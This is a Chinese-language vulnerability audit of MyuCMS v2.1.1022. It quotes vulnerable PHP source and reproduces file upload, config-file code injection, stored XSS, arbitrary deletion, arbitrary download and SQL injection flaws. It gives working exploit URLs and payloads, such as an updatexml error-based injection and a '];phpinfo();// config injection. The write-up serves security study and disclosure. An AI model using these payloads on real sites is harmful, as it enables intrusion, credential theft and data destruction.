漏洞列表
漏洞类型 | 复现 |
---|---|
任意文件上传 | √ |
配置文件覆盖 | √ |
任意文件上传2 | √ |
跨站脚本漏洞 | √ |
任意文件删除 | √ |
任意文件下载 | √ |
sql注入 | √ |
复现漏洞
任意文件上传1
漏洞成因
展示位置:
代码位置:
myucms-v2.1.1022\application\admin\controller\Upload.php
public function upfile()
{
if (!session('userid') || !session('username')) {
$this->error('亲!请登录',url('bbs/login/index'));
} else {
return json($this->model->upfile('files'));
}
}
这里会判断是否登录,没有登录会跳转到登录界面,登录则会调用model->upfile
public function upfile($type,$filename = 'file',$is_water = false){
if (config('web.qiniuopen') == 1) {
$driverConfig = array('secrectKey' => config('web.secrectKey'), 'accessKey' => config('web.accessKey'), 'domain' => config('web.domain'), 'bucket' => config('web.bucket'));
$setting = array('rootPath' => './', 'saveName' => array('uniqid', ''), 'hash' => true);
$setting['exts'] = explode(',', config('web.WEB_RXT'));
$setting['maxSize'] = 50 * 1024 * 1024;
$File = $_FILES['file'];
$Upload = new Upload($setting, 'Qiniu', $driverConfig);
$info = $Upload->uploadOne($File);
if ($info) {
$data['sha1'] = $info['sha1'];
$data['md5'] = $info['md5'];
$data['create_time'] = time();
$data['uid'] = session('userid');
$data['download'] = 0;
$data['size'] = $info['size'];
$data['name'] = $info['name'];
$data['ext'] = $info['ext'];
$data['savepath'] = $info['url'];
$data['savename'] = $info['savename'];
$data['mime'] = $info['type'];
$map['md5'] = $info['md5'];
$mmn = Db::name('file')->where($map)->find();
if (empty($mmn)) {
Db::name('file')->insert($data);
$res = Db::name('file')->getLastInsID();
if ($res > 0) {
return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 0, 'ext' => $data['ext'], 'id' => $res, 'headpath' => $data['savepath'],'path' => $data['savepath'], 'md5' => $data['md5'], 'savename' => $data['savename'], 'filename' => $data['name'], 'info' => $info);
} else {
return array('code' => 0, 'msg' => '上传失败');
}
} else {
return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext' => $mmn['ext'], 'id' => $mmn['id'], 'headpath' => $data['savepath'],'path' => $mmn['savepath'], 'md5' => $mmn['md5'], 'savename' => $mmn['savename'], 'filename' => $mmn['name'], 'info' => $mmn);
}
} else {
return array('code' => 0, 'msg' => $Upload->getError());
}
} else {
$file = request()->file($filename);
$md5 = $file->hash('md5');
$n = Db::name('file')->where('md5', $md5)->find();
if (empty($n)) {
$info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' => config('web.WEB_RXT')])->move(ROOT_PATH . DS . 'uploads');
if ($info) {
$path = DS . 'uploads' . DS . $info->getSaveName();
$path = str_replace("\\", "/", $path);
$realpath = WEB_URL . $path;
$data['sha1'] = $info->sha1();
$data['md5'] = $info->md5();
$data['create_time'] = time();
$data['uid'] = session('userid');
$data['download'] = 0;
$data['size'] = $info->getSize();
$fileinfo = $info->getInfo();
$data['name'] = $fileinfo['name'];
$data['ext'] = $info->getExtension();
$data['savepath'] = $path;
$data['savename'] = $info->getFilename();
$data['mime'] = $fileinfo['type'];
Db::name('file')->insert($data);
$res = Db::name('file')->getLastInsID();
if ($res > 0) {
return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 0, 'ext' => $data['ext'], 'id' => $res, 'path' => $path, 'headpath' => $realpath, 'md5' => $data['md5'], 'savename' => $data['savename'], 'filename' => $data['name'], 'info' => $info->getInfo());
} else {
return array('code' => 0, 'msg' => '上传失败');
}
} else {
return array('code' => 0, 'msg' => $file->getError());
}
} else {
$path = $n['savepath'];
$realpath = WEB_URL . $path;
return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext' => $n['ext'], 'id' => $n['id'], 'path' => $path, 'headpath' => $realpath, 'md5' => $n['md5'], 'savename' => $n['savename'], 'filename' => $n['name'], 'info' => $n);
}
}
}
由于默认配置config(‘web.qiniuopen’)等于零(myucms-v2.1.1022\application\extra\web.php),所以进入else
<?php return ['WEB_GL'=>'0','WEB_KEJIAN'=>'0','WEB_KEJIANS'=>'0','WEB_INDEX'=>'bbs','WEB_BBS'=>'1','WEB_SHOP'=>'1','WEB_REG'=>'1','WEB_STA'=>'1','WEB_TAG'=>'插件,建议,模板,签到,反馈','WEB_TPT'=>'default','WEB_SHOPS'=>'default','WEB_URL'=>'','WEB_OPE'=>'1','WEB_BUG'=>'true','WEB_RXT'=>'rar,png,zip,jpg,gif,ico','ex'=>'extend/','addons'=>'请在官方下载正版','or'=>'org/','up'=>'Upload/','WEB_OPENS'=>'0','dr'=>'Driver/','do'=>'Dow.php','WEB_DES'=>'','secrectKey'=>'0','accessKey'=>'0','domain'=>'0','bucket'=>'0','qiniuopen'=>'0','Cascade'=>'1',];
使用request()->file($filename)获取文件
$file = request()->file($filename);
跟进,此处会处理上传文件获取全部内容
public function file($name = '')
{
if (empty($this->file)) {
$this->file = isset($_FILES) ? $_FILES : [];
}
if (is_array($name)) {
return $this->file = array_merge($this->file, $name);
}
$files = $this->file;
if (!empty($files)) {
// 处理上传文件
$array = [];
foreach ($files as $key => $file) {
if (is_array($file['name'])) {
$item = [];
$keys = array_keys($file);
$count = count($file['name']);
for ($i = 0; $i < $count; $i++) {
if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name'][$i])) {
continue;
}
$temp['key'] = $key;
foreach ($keys as $_key) {
$temp[$_key] = $file[$_key][$i];
}
$item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);
}
$array[$key] = $item;
} else {
if ($file instanceof File) {
$array[$key] = $file;
} else {
if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {
continue;
}
$array[$key] = (new File($file['tmp_name']))->setUploadInfo($file);
}
}
}
if (strpos($name, '.')) {
list($name, $sub) = explode('.', $name);
}
if ('' === $name) {
// 获取全部文件
return $array;
} elseif (isset($sub) && isset($array[$name][$sub])) {
return $array[$name][$sub];
} elseif (isset($array[$name])) {
return $array[$name];
}
}
return;
}
使用$file->hash(‘md5’)生成md5值,执行Db::name(‘file’)->where(‘md5’, $md5)->find()查询file表中是否有这个md5的值,有的话就会返回保存的路径
$path = $n['savepath'];
$realpath = WEB_URL . $path;
return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext' => $n['ext'], 'id' => $n['id'], 'path' => $path, 'headpath' => $realpath, 'md5' => $n['md5'], 'savename' => $n['savename'], 'filename' => $n['name'], 'info' => $n);
没有的话会判断上传的类型
$info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' => config('web.WEB_RXT')])->move(ROOT_PATH . DS . 'uploads');
位置:myucms-v2.1.1022\application\extra\web.php
类型:‘rar,png,zip,jpg,gif,ico’
由于config(‘web.WEB_RXT’)的参数值可以添加,位置:myucms-v2.1.1022\application\admin\controller\conf.php
public function add()
{
$path = 'application/extra/web.php';
$file = include $path;
$config = array(
'WEB_RXT' => input('WEB_RXT'),
'WEB_GL' => input('WEB_GL'),
'WEB_REG' => input('WEB_REG'),
'WEB_TAG' => input('WEB_TAG'),
'WEB_OPE' => input('WEB_OPE'),
'WEB_BUG' => input('WEB_BUG'),
'WEB_BBS' => input('WEB_BBS'),
'WEB_SHOP' => input('WEB_SHOP'),
'WEB_INDEX' => input('WEB_INDEX'),
'WEB_KEJIAN' => input('WEB_KEJIAN'),
'WEB_KEJIANS' => input('WEB_KEJIANS'),
'Cascade' => input('Cascade'),
//七牛
'bucket' => input('bucket'),
'accessKey' => input('accessKey'),
'secrectKey' => input('secrectKey'),
'domain' => input('domain'),
'qiniuopen' => input('qiniuopen'),
);
$res = array_merge($file, $config);
$str = '<?php return [';
foreach ($res as $key => $value) {
$str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
}
$str .= ']; ';
if (file_put_contents($path, $str)) {
return json(array('code' => 200, 'msg' => '修改成功'));
} else {
return json(array('code' => 0, 'msg' => '修改失败'));
}
}
复现漏洞
虽然使用了白名单进行过滤,但是可以白名单可以被控制从而导致可以上传任意文件
上传成功拼接路径:url+返回的路径
代码注入漏洞
漏洞成因
此处包含application/extra/web.php文件而且没有进行过滤,可以输出任意的内容到web.php
public function add()
{
$path = 'application/extra/web.php';
$file = include $path;
$config = array(
'WEB_RXT' => input('WEB_RXT'),
'WEB_GL' => input('WEB_GL'),
'WEB_REG' => input('WEB_REG'),
'WEB_TAG' => input('WEB_TAG'),
'WEB_OPE' => input('WEB_OPE'),
'WEB_BUG' => input('WEB_BUG'),
'WEB_BBS' => input('WEB_BBS'),
'WEB_SHOP' => input('WEB_SHOP'),
'WEB_INDEX' => input('WEB_INDEX'),
'WEB_KEJIAN' => input('WEB_KEJIAN'),
'WEB_KEJIANS' => input('WEB_KEJIANS'),
'Cascade' => input('Cascade'),
//七牛
'bucket' => input('bucket'),
'accessKey' => input('accessKey'),
'secrectKey' => input('secrectKey'),
'domain' => input('domain'),
'qiniuopen' => input('qiniuopen'),
);
$res = array_merge($file, $config);
$str = '<?php return [';
foreach ($res as $key => $value) {
$str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
}
$str .= ']; ';
if (file_put_contents($path, $str)) {
return json(array('code' => 200, 'msg' => '修改成功'));
} else {
return json(array('code' => 0, 'msg' => '修改失败'));
}
}
写入代码
'];phpinfo();//
复现漏洞
其他几处地址也存在这个问题,如:qq.php等
任意文件上传2
漏洞成因
位置:myucms-v2.1.1022\application\admin\model\Shops.php
使用request()->file(‘FileName’)获取文件,直接进行移动并没有进行过滤和鉴权
public function doUploadPic()
{
$file = request()->file('FileName');
$info = $file->move(ROOT_PATH . DS . 'uploads');
if($info){
$path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName();
echo str_replace("\\","/",$path);
}
}
move方法:
public function move($path, $savename = true, $replace = true)
{
// 文件上传失败,捕获错误代码
if (!empty($this->info['error'])) {
$this->error($this->info['error']);
return false;
}
// 检测合法性
if (!$this->isValid()) {
$this->error = 'upload illegal files';
return false;
}
// 验证上传
if (!$this->check()) {
return false;
}
$path = rtrim($path, DS) . DS;
// 文件保存命名规则
$saveName = $this->buildSaveName($savename);
$filename = $path . $saveName;
// 检测目录
if (false === $this->checkPath(dirname($filename))) {
return false;
}
// 不覆盖同名文件
if (!$replace && is_file($filename)) {
$this->error = ['has the same filename: {:filename}', ['filename' => $filename]];
return false;
}
/* 移动文件 */
if ($this->isTest) {
rename($this->filename, $filename);
} elseif (!move_uploaded_file($this->filename, $filename)) {
$this->error = 'upload write error';
return false;
}
// 返回 File 对象实例
$file = new self($filename);
$file->setSaveName($saveName)->setUploadInfo($this->info);
return $file;
}
漏洞复现
很多功能点的上传功能都使用doUploadPic同时也都存在安全问题
如:商城管理->商品管理->添加商品
上传成功
拼接请求
跨站脚本漏洞
漏洞成因
根据id直接更新内容到数据库中,没有进行过滤和其他限制的操作
public function doedit()
{
$id = input('id');
$data = $this->request->post();
$data['time'] = time();
if(Db::name('set')->where('id',$id)->data($data)->update($data)){
$this->success('更新成功');
} else {
$this->error('更新失败');
}
}
{:myucms(‘tongji’)}
漏洞复现
位置:系统管理->网站配置->统计代码
触发点位置:http://192.168.17.138/myucms-v2.1.1022/
任意文件删除
漏洞成因
使用$_GET[‘info’]获取文件路径拼接后传入到deleteun方法里
public function un()
{
$info = $_GET['info'];
$res=deleteun(ROOT_PATH.'addons'.DS.$info);
if ($res) {
return json(array('code' => 200, 'msg' => '删除成功'));
}else{
return json(array('code' => 0, 'msg' => '删除失败'));
}
}
deleteun():循环删除目录的文件的函数
function deleteun($dir_name)
{
$result = false;
if (is_dir($dir_name)) {
if ($handle = opendir($dir_name)) {
while (false !== ($item = readdir($handle))) {
if ($item != '.' && $item != '..') {
if (is_dir($dir_name . DS . $item)) {
deleteun($dir_name . DS . $item);
} else {
unlink($dir_name . DS . $item);
}
}
}
closedir($handle);
if (rmdir($dir_name)) {
$result = true;
}
}
}
return $result;
}
测试下删除myucms-v2.1.1022\addons\1目录
漏洞复现
-
位置1:/admin.php/addons/un.html?info=1
默认删除位置:\myucms-v2.1.1022\addons -
位置2:/admin.php/muban/un.html?info=1
默认删除位置:\myucms-v2.1.1022\application\bbs\view
任意文件下载1
漏洞成因
传入url、name、local的值,当local等于1会调用$down->download传入url和name
public function download($url, $name, $local)
{
$down = new Http();
if ($local == 1) {
$down->download($url, $name);
} else {
}
}
跟进$down->download并没有限制,只要文件存在即可下载
static public function download ($filename, $showname='',$content='',$expire=180) {
if(is_file($filename)) {
$length = filesize($filename);
}elseif($content != '') {
$length = strlen($content);
}else {
throw_exception($filename.L('下载文件不存在!'));
}
if(empty($showname)) {
$showname = $filename;
}
$showname = basename($showname);
if(!empty($filename)) {
$type = mime_content_type($filename);
}else{
$type = "application/octet-stream";
}
//发送Http Header信息 开始下载
header("Pragma: public");
header("Cache-control: max-age=".$expire);
//header('Cache-Control: no-store, no-cache, must-revalidate');
header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");
header("Content-Disposition: attachment; filename=".$showname);
header("Content-Length: ".$length);
header("Content-type: ".$type);
header('Content-Encoding: none');
header("Content-Transfer-Encoding: binary" );
if($content == '' ) {
readfile($filename);
}else {
echo($content);
}
exit();
}
漏洞复现
拼接url请求
/myucms-v2.1.1022/index.php/bbs/index/download?url=application/database.php&local=1&name
下载成功
sql注入
漏洞成因
位置:application/bbs/controller/User.php/xiaoxidel
此处会判断当前登录状态,登录后才会进入漏洞触发位置
public function xiaoxidel($ids)
{
if (!session('userid') || !session('username')) {
$this->error('亲!请登录',url('bbs/login/index'));
} else {
if ($ids==0) {
$id = input('id');
$data['open'] = 1;
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) {
return json(array('code' => 200, 'msg' => '标记已读成功'));
} else {
return json(array('code' => 0, 'msg' => '标记已读失败'));
}
}elseif ($ids==1){
$id = input('id');
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {
return json(array('code' => 200, 'msg' => '彻底删除成功'));
} else {
return json(array('code' => 0, 'msg' => '彻底删除失败'));
}
}
}
}
根据查询的语句得知传入id和userid,这里只需要id即可
Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)
拼接请求/index.php/bbs/user/xiaoxidel/ids/0/id/1
这里会更新id为1的消息阅读状态
漏洞复现
报错注入:and updatexml(1,concat(0x7e,user(),0x7e),1)
执行可以看到当前用户为root
/index.php/bbs/user/xiaoxidel/ids/0/id/1and updatexml(1,concat(0x7e,user(),0x7e),1)